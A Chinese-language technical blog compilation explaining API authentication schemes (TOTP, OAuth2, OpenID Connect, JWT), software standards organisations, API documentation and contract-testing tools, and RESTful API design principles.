在业界标准中有两种典型的做法,质疑/应答算法(OCRA: OATH Challenge-Response Algorithm)、基于时间的一次性密码算法(TOTP:Time-based One-time Password Algorithm)。

质疑/应答算法

质疑/应答算法需要客户端先请求一次服务器,获得一个 401 未认证的返回,并得到一个随机字符串(nonce)。将 nonce 附加到按照上面说到的方法进行 HMAC 签名,服务器使用预先分配的 nonce 同样进行签名校验,这个 nonce 在服务器只会被使用一次,因此可以提供唯一的摘要。

ak_sk.png

基于时间的一次性密码认证

为了避免额外的请求来获取 nonce,还有一种算法是使用时间戳,并且通过同步时间的方式协商到一致,在一定的时间窗口内有效(1分钟左右)。

top.png

这里的只是利用时间戳作为验证的时间窗口,并不能严格的算作基于时间的一次性密码算法。标准的基于时间的一次性密码算法在两步验证中被大量使用,例如 Google 身份验证器不需要网络通信也能实现验证(但依赖准确的授时服务)。原理是客户端服务器共享密钥然后根据时间窗口能通过 HMAC 算法计算出一个相同的验证码。

totp.png

TOTP 基本原理和常见厂商

OAuth2 和 Open ID

OAuth(开放授权)是一个开放标准,允许用户授权第三方网站访问他们存储在另外的服务提供者上的信息,而不需要将用户名和密码提供给第三方网站或分享他们数据的所有内容。
OAuth 是一个授权标准,而不是认证标准。提供资源的服务器不需要知道确切的用户身份(session),只需要验证授权服务器授予的权限(token)即可。

oauth.png

上图只是 OAuth 的一个简化流程,OAuth 的基本思路就是通过授权服务器获取 access token 和 refresh token(refresh token 用于重新刷新access token),然后通过 access token 从资源服务器获取数据 。在特定的场景下还有下面几种模式:

  • 授权码模式(authorization code)
  • 简化模式(implicit)
  • 密码模式(resource owner password credentials)
  • 客户端模式(client credentials)

如果需要获取用户的认证信息,OAuth 本身没有定义这部分内容,如果需要识别用户信息,则需要借助另外的认证层,例如 OpenID Connect。

验证 access token

在一些介绍OAuth 的博客中很少讲到资源服务器是怎么验证 access token 的。OAuth core 标准并没有定义这部分,不过在 OAuth 其他标准文件中提到两种验证 access token的方式。

在完成授权流程后,资源服务器可以使用 OAuth 服务器提供的 Introspection 接口来验证access token,OAuth服务器会返回 access token 的状态以及过期时间。在OAuth标准中验证 token 的术语是 Introspection。同时也需要注意 access token 是用户和资源服务器之间的凭证,不是资源服务器和授权服务器之间的凭证。资源服务器和授权服务器之间应该使用额外的认证(例如 Basic 认证)。
使用 JWT 验证。授权服务器使用私钥签发 JWT 形式的 access token,资源服务器需要使用预先配置的公钥校验 JWT token,并得到 token 状态和一些被包含在 access token 中信息。因此在 JWT 的方案下,资源服务器和授权服务器不再需要通信,在一些场景下带来巨大的优势。同时 JWT 也有一些弱点,我会在JWT 的部分解释。

refresh token 和 access token

几乎所有人刚开始了解 OAuth 时都有一个一疑问,为什么已经有了 access token 还需要 refresh token 呢?

授权服务器会在第一次授权请求时一起返回 access token 和refresh token,在后面刷新 access token 时只需要 refresh token。 access token 和 refresh token 的设计意图是不一样的,access token 被设计用来客户端和资源服务器之间交互,而 refresh token 是被设计用来客户端和授权服务器之间交互。

某些授权模式下 access token 需要暴露给浏览器,充当一个资源服务器和浏览器之间的临时会话,浏览器和资源服务器之间不存在签名机制,access token 成为唯一凭证,因此 access token 的过期时间(TTL)应该尽量短,从而避免用户的 access token 被嗅探攻击。

由于要求 access token 时间很短,refresh token 可以帮助用户维护一个较长时间的状态,避免频繁重新授权。大家会觉得让 access token 保持一个长的过期时间不就可以了吗?实际上 refresh token 和 access token 的不同之处在于即使 refresh token 被截获,系统依然是安全的,客户端拿着 refresh token 去获取 access token 时同时需要预先配置的 secure key,客户端和授权服务器之前始终存在安全的认证。

OAuth、Open ID、OpenID Connect

认证方面的术语实在太多,我在搭建自己的认证服务器或接入第三方认证平台时,有时候到完成开发工作的最后一刻都无法理解这些术语。

OAuth 负责解决分布式系统之间的授权问题,即使有时候客户端和资源服务器或者认证服务器存在同一台机器上。OAuth 没有解决认证的问题,但提供了良好的设计利于和现有的认证系统对接。

Open ID 解决的问题是分布式系统之间身份认证问题,使用Open ID token 能在多个系统之间验证用户,以及返回用户信息,可以独立使用,与 OAuth 没有关联。

OpenID Connect 解决的是在 OAuth 这套体系下的用户认证问题,实现的基本原理是将用户的认证信息(ID token)当做资源处理。在 OAuth 框架下完成授权后,再通过 access token 获取用户的身份。

这三个概念之间的关系有点难以理解,用现实场景来说,如果系统中需要一套独立的认证系统,并不需要多系统之间的授权可以直接采用 Open ID。如果使用了 OAuth 作为授权标准,可以再通过 OpenID Connect 来完成用户的认证。

JWT

在 OAuth 等分布式的认证、授权体系下,对凭证技术有了更多的要求,比如包含用户 ID、过期等信息,不需要再外部存储中关联。因此业界对 token 做了进一步优化,设计了一种自包含令牌,令牌签发后无需从服务器存储中检查是否合法,通过解析令牌就能获取令牌的过期、有效等信息,这就是JWT (JSON Web Token)。

JWT 是一种包含令牌(self-contained token),或者叫值令牌 (value token),我们以前使用关联到 session 上的 hash 值被叫做引用令牌(reference token)。

two-types-of-token.png

简而言之,一个基本的JWT令牌为一段点分3段式结构。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
生成JWT 令牌的流程为

jwt.jpg

  • header json 的 base64 编码为令牌第一部分
  • payload json 的 base64 编码为令牌第二部分
  • 拼装第一、第二部分编码后的 json 以及 secret 进行签名的令牌的第三部分

因此只需要签名的 secret key 就能校验 JWT 令牌,如果在消息体中加入用户 ID、过期信息就可以实现验证令牌是否有效、过期了,无需从数据库/缓存中读取信息。因为使用了加密算法,所以第一、二部分即使被修改(包括过期信息)也无法通过验证。JWT 优点是不仅可以作为 token 使用,同时也可以承载一些必要信息,省去多次查询。

注意:

  • JWT token 的第一、二部分只是 base64 编码,肉眼不可读,不应当存放敏感信息
  • JWT token 的自包含特性,导致了无法被撤回
  • JWT 的签名算法可以自己拟定,为了便于调试,本地环境可以使用对称加密算法,生产环境建议使用非对称加密算法

JWT token 在微服务的系统中优势特别突出。多层调用的 API 中可以直接传递 JWT token,利用自包含的能力,可以减少用户信息查询次数;更重要的是,使用非对称的加密方式可以通过在系统中分发密匙的方式

验证 JWT token。

当然 OAuth 对 access token 等凭证所选用的技术并没有做出限制,OAuth 并不强制使用 JWT,在使用 JWT 自包含特性的优势时,必须考虑到 JWT 撤回困难的问题。在一些对撤回 token 要求很高的项目中不适合使用JWT,即使采用了一些方案实现(whitelist 和 blacklist)也违背了设计 JWT 的初衷。

Cookie 、Token in Cookie、Session Token 依然被使用

在构建 API 时,开发者会发现我们的认证方式和网页应用有一些不同,除了像 ajax 这种典型的 web 技术外,如果我们希望 API 是无状态的,不推荐使用 Cookie。

使用 Cookie 的本质是用户第一次访问时服务器会分配一个 Session ID,后面的请求中客户端都会带上这个 ID 作为当前用户的标志,因为 HTTP 本身是无状态的,Cookie 属于一种内建于浏览器中实现状态的方式。如果我们的 API 是用来给客户端使用的,强行要求 API 的调用者管理Cookie 也可以完成任务。

在一些遗留或者不是标准的认证实现的项目中,我们依然可以看到这些做法,快速地实现认证。

使用 cookie,例如 web 项目中 ajax 的方式
使用 session ID 或 hash 作为 token,但将 token 放入 header 中传递
将生成的 token (可能是JWT)放入 cookie 传递,利用 HTTPonly 和 Secure 标签保护 token

选择合适的认证方式

随着微服务的发展,API 的设计不仅仅是面向 WEB 或者 Mobile APP,还有BFF(Backend for Frontend)和 Domain API 的认证,以及第三方服务的集成。

客户端到服务器之间认证和服务器到服务器之间认证是不同的。

我们把终端用户(Human)参与的通信,叫做 Human-to-machine (H2M),服务器与服务器之间的通信叫做 Machine-to-machine (M2M)。

H2M 的通信需要更高的安全性,M2M 的通信天然比 H2M 安全,因此更多的强调性能,在不同的场合下选择合适的认证技术就显得特别重要。例如 HTTP Basic Authentication 用来作为 H2M 认证显得有些落后,但是在 M2M 中被大量使用。

另外值得一提的是,H2M 这种通信方式下,客户端不受控制,由于无法自主分发密匙,认证通信的安全高度依赖 HTTPS。

从一个宏观的角度看待他们的关系,对我们技术选型非常有帮助。

h2m-m2m.png

术语表

  • Browser fingerprinting 通过查询浏览器的代理字符串,屏幕色深,语言等,然后这些值通过散列函数传递产生指纹,不需要通过 Cookie 就可以识别浏览器
  • MAC(Message authentication code) 在密码学中,讯息鉴别码,是经过特定算法后产生的一小段资讯,检查某段讯息的完整性
  • HOTP(HMAC-based One-time Password algorithm)基于散列消息验证码的一次性密码算法
  • Two-step verification 是一种认证方法,使用两种不同的元素,合并在一起,来确认使用者的身份,是多因素验证中的一个特例
  • OTP (One time password )一次性密码,例如注册邮件和短信中的认证码

参考文章

more >>

标准化技术下的软件开发

connections.jpg

聊到集成测试、单元测试等测试分类,我想大多数人都有类似困惑或讨论,集成测试和 E2E 测试到底有啥区别。甚至还有一些系统测试、配置项测试等概念,不但让我们这种非 QA 专业的人弄不清楚,在和我们的 QA 同学讨论时也很难得到清晰地结论。

家里有一台古董级别的笔记本,掌托和键盘几乎已经被磨花了,一天突然想检查下有没有特别的资料然后好处理掉它。一份测试相关的国标文档(GB/T 15532-2008)吸引了我的注意,这份文档来自于刚毕业时在四川省软件测试中心实习期间,而我几乎已经忘记了那段经历。

翻看这份文档让我打开了一个新世界的大门,我们在讨论研究的很多问题包括测试分类的定义,已经被业界讨论过很多次,甚至被制定成清晰的文档和规范。

gb.png

不仅是 GB/T 制定了相关标准和大量方法,IEEE 和 IOS 也定义了大量标准供业界参考。在软件工程中,了解相关标准给我们带来非常多的好处,能帮助我们更好地做技术选型、企业应用集成、持续演进以及借力技术生态。

采用标准技术的优势

发展成熟

在计算机科学领域,技术标准最成熟,也是和学术界最接近的是密码学。在软件行业中,最有意思的是很多人对造轮子非常感兴趣(包括我),不过有一些轮子我不建议自己造。这就是加密算法,不止一个人在聊天中谈起对信息安全的看法时说,要是我开发一个自己的加密算法只有我自己的知道(甚至很多真的这么干了),肯定是天底下最安全的。这是一种非常朴素的信息安全认识,自己的创造的“加密算法”也只是根据特定规则对信息的混淆和变换,这甚至落后于凯撒密码。

现代密码学已经有大量的对称加密、非对称加密、HASH公开算法,甚至建立了一套完整的通信信息安全基础设施(PKI),保证信息安全的是密匙而不是加密算法。与其闭门造车,不如选择 RSA 等大师们的成果。

rsa.png

上面的例子是想说标准的技术大多经过学术界、工业界的验证,相比自己捣腾一个,相对来说更为靠谱。

技术生态

选择标准技术另外一个好处是保持开放,能构建出一个技术生态。

稍具规模的公司或者组织都有一个中心化的账户管理体系,在软件公司我们有一大套内部系统和软件需要和账户系统进行对接,账户系统还被要求以很细致的粒度对权限进行管理。比如办公室的 WIFI、JIRA、邮件、wiki 等平台需要对接账户系统,一些采购的软件可能并不需要我们进行修改就能实现接入,这其中需要一个约定。

其中一个规范叫做 LDAP,JIRA、邮件、开源WIKI平台支持 LDAP 服务器的接入,甚至国内的软件产品例如禅道也支持 LDAP 接入。

ldap.png

LDAP 只是众多开放标准的一部分,互联网天生具有开放性,因此网络通信和互联网涉及的协议多如牛毛。例如我们的以太网协议 IEEE 802.x、HTTP 协议 RFC 723X 。仅仅网络协议就有数千条,甚至有一点不忍心放上下面这张图。

protocal_mini_2.jpg

采用标准技术还有其他优势,具体的实现很容易被替换。例如实现 HTTP 协议的客户端很容易的被替换,前几天在和一个同事聊到他们在项目上把 Apache 的 HTTP client 替换成了 OK HTTP;如果在项目中使用了符合 JCP 定义的 Java bean validator 也可以容易的在某些场景下被替换。

不过值得注意的是业界事实标准有时候可能和一些标准化组织制定的标准并不一致,OSI 7 层协议被称为经典的网络协议,但是目前广泛形成的协议族是 TCP/IP 协议族。

日常相关的标准技术和组织

在使用开源项目做技术选型时,如果对技术标准有一些了解,可以帮我们更容易的了解一些技术的生态和工具链。比如上面的 LDAP,我们可以在采购软件时优先考虑支持 LDAP 的产品,从而降低自行接入的成本;对于自己项目上更为具体的实现如设计 API,我们可以选择一套参考标准入如 jsonapi,让沟通成本大大降低;在前后端协作上,如果采用 Swagger 的 openapi 可以容易的找到一套开源工具帮我们完成文档、SDK生成等工作。

下面让我们一起了解一些互联网常见的技术标准和组织。

IETF

IETF 应该是互联网标准组织中名气最大的,它的全称是国际互联网工程任务组(The Internet Engineering Task Force)。IETF下属有很多工作组(WG),专门负责一个领域标准的制定,例如 OAuth。IETF 工作的产出主要是 RFC 文档(Request For Comments)。IETF 最知名的规范是 TCP/IP 协议族,但是我们日常相关更多关注应用层标准,就不介绍通信相关的协议了,下面是一些常见应用层的标准。

  • RFC 723X HTTP 协议族 HTTP 标准分为多个版本,目前在用的一般是 1.1。同时 HTTP 标准分为核心标准和拓展标准,例如缓存、会话、内容编码等内容属于拓展部分,在选择 HTTP client 时,需要注意其实现程度可能并不完整。另外 method、状态码等枚举类型在 IANA 中心可以找到。
  • OAuth 开放授权协议 OAuth 相关规范和HTTP类似,也分为核心和拓展。核心的标准文档是 RFC 6749 ,而拓展的部分例如 Bearer token 以及 token 的获取、验证和JWT相关的规范都在另外的文档中。值得一提的是,OAuth OpenID connect 不属于 OAuth 的规范,所以认证并不是 OAuth 要求的。

JCP

JCP(Java Community Process) 是一个开放的国际组织,主要由 Java 开发者以及被授权者组成。Java 之所以能发展成目前这个规模,离不开标准化进程,JCP 中的一些规范不仅影响了 Java 世界,对其他语言,例如 PHP、Nodejs 也造成了巨大的影响。在日常服务器开发工作中,用到 JCP 标准非常多,例如数据验证、数据库访问和服务器容器:

  • Bean Validation 在 Java 中数据校验的规范化是 JCP 一个典型的实践,从最早的 JSR 349 到 JSR 303,目前已经发展到了 Bean validation 2.0,并开始支持 2SE。Hibernate 最新的 validator 已经开始支持 2.0 的验证规范。早期讲 Java 的书谈到使用 JSR 验证容易让人感到困惑,JSR 只是验证规范,数据验证是由其他的验证器实现的。同时一些非 Java 的验证框架也在参考实现 JCP 的标准。
  • JPA Java Persistence API JPA 定义了对象关系映射以及如何持久化到数据中,JPA、ORM、Hibernate 在 Java 开发时是非常容易被混淆的概念。其中 ORM 只是一个对象映射的概念,JPA 规范了 ORM、数据访问 API、查询语言,Hibernate 对 JPA 进行了实现,JPA 其他的实现还有 Open JPA 和 Eclipse Link 等技术。
  • JAX-RS Java API for RESTful Web Services JAX-RS 定义了 Restful API 构建相关的规范,包括一些常见的注解都来源这个规范,例如 @Path @GET 等,关于 JAX-RS 的实现除了 Spring 全家桶之外,还有 Jersey、RESTeasy 等实现。
  • Java servlet servlet 可以说是 J2EE 中最重要的规范之一,如果不去看 servlet 的规范很难理解 servlet 到底是什么。这也是很多公司面试一般都会问的问题。servlet 定义了 J2EE 应用和服务器容器之间的约定,所以在开发过程中就需要特别注意 web 容器提供的额外的特性,造成耦合。

W3C

W3C 中文名称是万维网联盟,是Web技术领域最具权威和影响力的国际中立性技术标准机构,主要负责制定浏览器上一些技术细节,降低浏览器上 HTML、CSS 渲染之间的差异,以及 DOM、XML 和 SVG 等技术。但是需要注意 JavaScript 不是 W3C 的范围,但需要负责浏览器中 JavaScript API 也就是 DOM 规范的制定:

  • DOM 在前端开发中,如果想了解更多浏览器渲染原理和处理 DOM 节点,推荐阅读 W3C 的规范文档,DOM 规范文档中描述了 DOM 节点的构建、移除以及事件等信息。
  • CSP 内容安全策略 CSP 制定了浏览器中加载资源的策略,通过配置让浏览器是否能加载一些资源,例如脚本,能大大提高浏览器对 XSS 攻击的防御能力。
  • XML 嗯,XML 是W3C制定的规范。

W3C 的标准更多的是指导浏览器开发,对于前端开发来说,技术选型取决于浏览器支持情况。

ECMA

ECMA 中文名称是欧洲计算机制造联合会,主要负责计算机制造和编程相关的标准制定。ECMA 制定了许多编程语言的规范,例如 C#、C++ 等,有趣的是 Sun 公司曾经提交了 Java 相关标准给 ECMA 但是随后又撤销了。ECMA 下面有几个我们可能特别关注的规范:ECMAScript、JSON 和办公文档规范。

  • ECMAScript ECMAScript 的前身是网景的 JavaScript 和微软的 JScript,后来网景、微软、sun 等公司提出标准化浏览器中的脚本语言,于是JavaScript 被提交到 ECMA,JavaScript 就成了 ECMA-262 标准化的脚本程序设计语言。目前实现 ECMAScript 规范的还有用来制作 Flash 的 ActionScript。
  • JSON 是一种轻量级的数据交换格式,实际上是 ECMAScript 的一个子集,但是目前来说和语言关系不大,JSON 过于常见,就不讲了。
  • Office Open XML ECMA 下另外一个非常重要的规范,简称 OOXML,现已成为国际文档格式标准。如果在项目中需要使用编程的方式解析 word 文档,参考这个规范下的实现。

其他规范

一些组织或者厂商想推广一些通用的技术方案,但是并没有注册到标准组织。其中有很多技术方案对日常工作很有价值,这里也罗列出来:

  • JSONAPI 有时候在设计 Restful 时很头疼,Restful 只是一种设计概念,没有具体的编码实现。jsonapi.org 这个网站试图创建一个规范来定义 RESTful 请求,并且定义了一个新的 MIME 类型 application/vnd.api+json 注册到了 IANA。
  • HAL Hypertext Application Language 于是有一些组织开始着手准备把 Restful 的请求内容规范化,形成一个统一的语言,这就是 HAL。目前不止一个组织在制定相关规范,IETF 目前都还在草案阶段。
  • RAML 当 RESTful API 被设计出来后,如何描述 API 模型又是一个挑战,API 模型可以用于文档、契约测试和SDK生成。如果这种模型被规范化,可以带动整个工具链。API 模型目前有 RAML 和 Swagger 主导的 openAPI
  • microformat 微格式 在 HTML 或者 XML 中,为了让标记语言更为语义化,用于第三方应用程序识别,出现了微格式这类规范。例如,航空公司通过 HTML 格式的邮件发送了机票信息,邮件客户端可以通过微格式识别其中的关键信息,并添加到提示列表中。
  • commonmark markdown 语法规范。
  • GraphQL API 查询的语言 通过发送 GraphQL 语句给服务器可以针对的返回特定的数据,避免多次请求和冗余数据在网络上传输。

总结

为技术标准化做出贡献的组织还很多,特别是在软件行业之外,建筑、医疗、金融等行业也产出了大量的标准文档。在知识的层层传递中有很多信息丢失了,标准文档给我们提供了第一手、清晰的信息和方案。

遗憾的是我们在做的一些创新型的工作目前还没有被标准化,CI/CD、敏捷实践、微服务等。在 ThoughtWorks 办公室每个人都耳熟能详的技术或者术语还没有出现在标准文档中,也可能是我还没了解到,不过各大组织的规范文档不失为一座金矿,值得持续探索。

另外,中国是第一制造业大国,也是发达的互联网国家。除了国家标准之外,参与国际标准制定还比较有限。互联网协议几乎是构建在 IEEE 贡献的协议族之上,难以看到中国的影子,不过在 5G 时代有所发展。这两年国内的开源项目发展迅速,也有一些大厂在向国际标准组织做出贡献,很期待 ThoughtWorks 也能参与其中。

参考资料

more >>

细说API - 文档和前后端协作

在上一篇文章——《细说API - 重新认识RESTful》中介绍了如何理解和设计RESTful风格的API,现在我们来聊聊如何有效的呈现API文档,以及前后端协作的方式。

我经历过一些没有文档的项目,前后端开发者坐到一起口口相传,或者有些团队用 word、pdf 来编写 API 文档。API 文档的缺乏给前后端协作带来困难,在缺乏专门工具的情况下,编写和维护文档是一件工作量巨大的事,人工处理也非常容易出错。
本文将会介绍三种方案来解决前后端协作的问题:

  • 基于注释的 API 文档:这是一种通过代码中注释生成 API 文档的轻量级方案,它的好处是简单易用,基本与编程语言无关。因为基于注释,非常适合动态语言的文档输出,例如 Nodejs、PHP、Python。由于NPM包容易安装和使用,这里推荐 nodejs 平台下的 apidocjs。

  • 基于反射的 API 文档:使用 swagger 这类通过反射来解析代码,只需要定义好 Model,可以实现自动输出 API 文档。这种方案适合强类型语言例如 Java、.Net,尤其是生成一份稳定、能在团队外使用的 API 文档。

  • 使用契约进行前后端协作:在团队内部,前后端协作本质上需要的不是一份 API 文档,而是一个可以供前后端共同遵守的契约。前后端可以一起制定一份契约,使用这份契约共同开发,前端使用这份契约 mock API,后端则可以通过它简单的验证API是否正确输出。

api-document.png

基于注释的 API 文档

apidocjs 是生成文档最轻量的一种方式,apidocjs 作为 npm 包发布,运行在 nodejs 平台上。原理为解析方法前面的注释,使用方法非常类似 javadoc 等程序接口文档生成工具,配置和使用都非常简单。因为只是解析代码注释部分,理论上和编程语言无关。

安装:

npm install apidoc -g

在需要输出文档的源代码中添加一个一个注释示例:

apidoc-demo.png

最小化运行:

apidoc -i myapp/ -o apidoc

即可在 apidoc 中输出静态的 html 文档目录。如果指定配置文件 apidoc.json 可以定义更多的操作方式,也可以自定义一套 HTML 模板用于个性化显示你的 API 文档,另外在输出的 HTML 文档中附带有API请求的测试工具,可以在我们生成的文档中尝试调用 API。

apidoc-html-demo.png

使用 apidocjs 只需要添加几个例如 @api、@apiname、@apiParam 等几个必要的注释即可,值得一提是 @apiDefine 可以定义变量避免重复书写,@apiGroup 用来对 API 分组,@apiVersion 可以再生成不同版本的文档。

基于反射的 API 文档

apidoc 的缺点是需要维护一些注释,当修改源代码时需要注意注释是否同时被更新。不过如果你使用的是 Java、.Net 等强类型语言,就可以利用强类型语言的优势。
在这个领域最好用的文档工具当属 swagger,swagger 实际上是一整套关于 API 文档、代码生成、测
试、文档共享的工具包,包括 :

  • Swagger Editor 使用 swagger editor 编写文档定义 yml 文件,并生成 swagger 的 json 文件
  • Swagger UI 解析 swagger 的 json 并生成 html 静态文档
  • Swagger Codegen 可以通过 json 文档生成 Java 等语言里面的模板文件(模型文件)
  • Swagger Inspector API 自动化测试
  • Swagger Hub 共享 swagger 文档

通常我们提到 swagger 时,往往指的是 swagger ui。而在 Java 环境下,可以通过 Springfox 来完成对代码的解析,再利用 swagger 生成文档,下面我们给一个简单的例子看怎么给一个 Spring boot 项目生成文档。

首选加入依赖(gradle 同理):

swagger-xml.png

全局配置:

swagger-config.png

我们的 controller,需要定义一些必要的注解来描述这个 API 的标题和解释,我们返回的 user 对象是一个简单 value object,swagger-annotations 包下面提供了很多注解可以满足更多的定制需求。

swagger-endpoint.png

然后访问你的 context 下的 /{context}/swagger-ui.html 页面,你会看到一个漂亮的 API 在线文档。swagger 的文档上能看到具体的字段定义和 Model,如果修改了 Model,再次编译后则可以自动反应到文档上,这也是反应了强类型编程语言的优势之一。

swagger-html-demo.png

基于契约的前后端协作

在过去的开发中,往往是后端开发者占主导,像上面的两种方案中,直接注释、反射通过生成 API 文档。
但前后端分离后让合作方式发生了变化。传统的方式往往是服务器开发者完成了 API 开发之后,前端开发者再开始工作,在项目管理中这样产生时间线的依赖。理想的情况下,在需求明确后,架构师设计,前后端应该能各自独立工作,并在最后进行集成测试即可。

后端开发者可以根据文档实现接口,最后按照文档联合调试即可,甚至通过契约生成 API 调用和数据承载的 VO (Value Object),减少工作量。如果 API 的提供者想做的更为完善一些,可以使用契约文件来验证实际 API 输出输出是否合理。

contract-model.png

契约测试

当我们使用契约文件来提高前后端协作开发的体验,其中很重要的一部分就是契约测试,关于契约测试,我们一般指的是 Martin Fowler 提出的概念 —— “消费者驱动的契约”
简单来说,就是前后端开发者协定好后,由消费者驱动,通过编写 API 调用层相关的代码,可以直接生成契约文件。由于一个 API 可以被多处消费,所以消费者驱动可以更好的管理契约的变化(如果 API 验证契约时不能通过,说明契约被破坏了,可以在 CI 上马上反应出来)。

pact-model.png

(Pact 契约测试模型)

写契约测试的博客非常多,就不展开赘述了。我把契约测试放到了前后端协作这个部分,是因为契约测试的前提是建立在前后端良好的协作下实现的。“契约测试”关注的是契约,而不是测试。

实际工作中,退一步说,制定好契约就可以完成基本的开发工作,对契约测试、验证可以让前后端协作变得更为可靠。如果你现在还没准备好使用契约测试的话,也不必焦虑,手动定义契约可以让前后端协作先运行起来。

而如果你恰好使用了 Spring boot 全家桶的话,不妨看看 Spring cloud contract。

使用 Swagger Yaml 契约

前面在讲 swagger 的时候,提到了Swagger Editor,使用这个工具可以通过编写 API 定义文件(Yaml格式),它提供线上版本,也可以本地使用。

后端通过生成 API 定义文件,就可以进一步完成生成 HTML 静态文档、模拟 API 数据等操作。
前端开发者可以通过 swagger 的 node 版本 swagger-node 自带的 mock 模式启动一个 Mock server,然后根据约定模拟自己想要的数据。 关于在前端使用的 mock server,实在太多,而且各有优劣,在附录中有一个清单以供参考,不再赘述。

使用 RAML 契约

使用 Swagger Yaml 契约或者 Pact 契约都能在一定程度上完成契约测试、生成文档、mock 等工作,但是我们在实际工作中发现这些工具和平台的契约规则并不相同。

Swagger 在生成文档上非常优秀,然而在契约测试上不及 Pact,反之亦然。

随着引入微服务和开放的互联网项目越来越多,前后端协作的问题越来越明显,而解决上述问题的工具和技术并不通用。好在业界早已认识到这个问题,于是一些组织提出了 RestFul API 统一建模语言 (RESTful API Modeling Language),也就是 RAML。

围绕着 RAML 这一标准,构建出 API 协作的工具链,设计、构建、测试、文档、共享。

raml-model.png

其他前后端协作实践

中心文档服务器

在一个大型的团队中,可能会有几十个以上的项目同时提供了 API,这种情况下如果每个应用都各自提供API文档就会变得很难管理,如果将 API 文档绑定到应用服务上会带来一些无意义的损耗。可以使用一个集中地服务来存放这些文档,类似于 github 的私有仓库,swagger 同样也提供了类似的服务 - swaggerhub.com。

即使不使用 swagger ,我们可以构建出 HTML 文档然后每一次输出部署到一台静态服务器,也是非常容易的事情。

如果是开源或者对外的 API,可以借用 GitHub Page 来创建我们的文档服务
针对团队内部,诸多云服务商均提供了静态服务器,例如 AWS 的 S3

管理契约文件

既然是契约文件,就不应该是API提供者或者消费者单独拥有的,即使只有一个调用方,至少是前端、后端共同拥有的。

那么契约文件应该怎么放呢?

我们之前一直放到API的代码仓库中,然后给所有的人添加了权限。后来发现这样做非常不方便,于是单独增加了一个管理契约文件的 git仓库,并使用 git 的submodule 来引用到各个涉及到了的代码仓库中。
将契约文件单独放置还有一个额外的好处,在构建契约测试时,可以方便的发送到一台中间服务器。一旦 API 契约发生变化,可以触发 API提供的契约验证测试。

附录:API 文档工具清单

使用或调研过的,API 文档/契约生成工具

  • apidoc
  • swagger
  • blue sprint
  • RAML

使用或调研过得 mock 工具清单

  • wiremock
  • json-server
  • node-mock-server
  • node-mocks-http

HTTP 请求拦截器

  • axios-mock-adapter
  • jquery-mockjax

契约/API 测试工具

  • Spring Cloud Contract
  • Pact
  • Rest-Assured

more >>

细说API - 重新认识RESTful

如果你是一个客户端、前端开发者,你可能会在某个时间吐槽过后端工程师的API设计,原因可能是文档不完善、返回数据丢字段、错误码不清晰等。如果你是一个后端API开发者,你一定在某些时候感到困惑,怎么让接口URL设计的合理,数据格式怎么定,错误码怎么处理,然后怎么才能合适的描述我的API,API怎么认证用户的请求。

在前后端分离和微服务成为现代软件开发的大趋势下,API设计也应该变得越来越规范和高效。本篇希望把API相关的概念最朴素的方式梳理,对API设计有一个更全面和细致的认识,构建出更规范、设计清晰和文档完善的API。
重新认识API

veen.png

广义的API(Application Programming Interface)是指应用程序编程接口,包括在操作系统中的动态链接库文件例如dll\so,或者基于TCP层的socket连接,用来提供预定义的方法和函数,调用者无需访问源码和理解内部原理便可实现相应功能。而当前通常指通过HTTP协议传输的web service技术。

API在概念上和语言无关,理论上具有网络操作能力的所有编程语言都可以提供API服务。Java、PHP、Node甚至C都可以实现web API,都是通过响应HTTP请求并构造HTTP包来完成的,但是内部实现原理不同。例如QQ邮箱就是通过使用了C构建CGI服务器实现的。

API在概念上和JSON和XML等媒体类型无关,JSON和XML只是一种传输或媒体格式,便于计算机解析和读取数据,因此都有一个共同特点就是具有几个基本数据类型,同时提供了嵌套和列表的数据表达方式。JSON因为更加轻量、容易解析、和JavaScript天生集成,因此成为现在主流传输格式。在特殊的场景下可以构造自己的传输格式,例如JSONP传输的实际上是一段JavaScript代码来实现跨域。

基于以上,API设计的目的是为了让程序可读,应当遵从简单、易用、无状态等特性,这也是为什么Restful风格流行的原因。

RESTful

expression.png

REST(英文:Representational State Transfer,简称REST),RESTful是一种对基于HTTP的应用设计风格,只是提供了一组设计原则和约束条件,而不是一种标准。网络上有大量对RESTful风格的解读,简单来说Restful定义URI和HTTP状态码,让你的API设计变得更简洁、清晰和富有层次,对缓存等实现更有帮助。RESTful不是灵丹妙药,也不是银弹。

RESTful第一次被提出是在2000Roy Fielding的博士论文中,他也是HTTP协议标准制定者之一。从本质上理解RESTful,它其实是尽可能复用HTTP特性来规范软件设计,甚至提高传输效率。HTTP包处于网络应用层,因此HTTP包为平台无关的字符串表示,如果尽可能的使用HTTP的包特征而不是大量在body定义自己的规则,可以用更简洁、清晰、高效的方式实现同样的需求。

verbs.png

用我几年前一个真实的例子,我们为了提供一个订单信息API,为了更方便传递信息全部使用了POST请求,使用了定义了method表明调用方法:

RPC.png

返回定义了自己的状态:

bad-eg-data.png

大家现在来看例子会觉得设计上很糟糕,但是在当时大量的API是这样设计的。操作资源的动作全部在数据体里面重新定义了一遍,URL上不能体现出任何有价值的信息,为缓存机制带来麻烦。对前端来说,在组装请求的时候显得麻烦不说,另外返回到数据的时候需要检查HTTP的状态是不是200,还需要检查status字段。
那么使用RESTful的例子是什么样呢:

good-eg.png

例子中使用路径参数构建URL和HTTP动词来区分我们需要对服务所做出的操作,而不是使用URL上的接口名称,例如 getProducts等;使用HTTP状态码,而不是在body中自定义一个状态码字段;URL需要有层次的设计,例如/catetory/{category_id}/products 便于获取path参数,在以后例如负载均衡和缓存的路由非常有好处。

RESTful的本质是基于HTTP协议对资源的增删改查操作做出定义。理解HTTP协议非常简单,HTTP是通过网络socket发送一段字符串,这个字符串由键值对组成的header部分和纯文本的body部分组成。Url、Cookie、Method都在header中。

几个典型的RESTful API场景:

verbs-description.png

虽然HTTP协议定义了其他的Method,但是就普通场景来说,用好上面的几项已经足够了
RESTful的几个注意点:

  • URL只是表达被操作的资源位置,因此不应该使用动词,且注意单复数区分
  • 除了POST和DELETE之外,其他的操作需要冥等的,例如对数据多次更新应该返回同样的内容
  • 设计风格没有对错之分,RESTful一种设计风格,与此对应的还有RPC甚至自定义的风格
  • RESTful和语言、传输格式无关
  • 无状态,HTTP设计本来就是没有状态的,之所以看起来有状态因为我们浏览器使用了Cookies,每次请求都会把Session ID(可以看做身份标识)传递到headers中。关于RESTful风格下怎么做用户身份认证我们会在后面讲到。
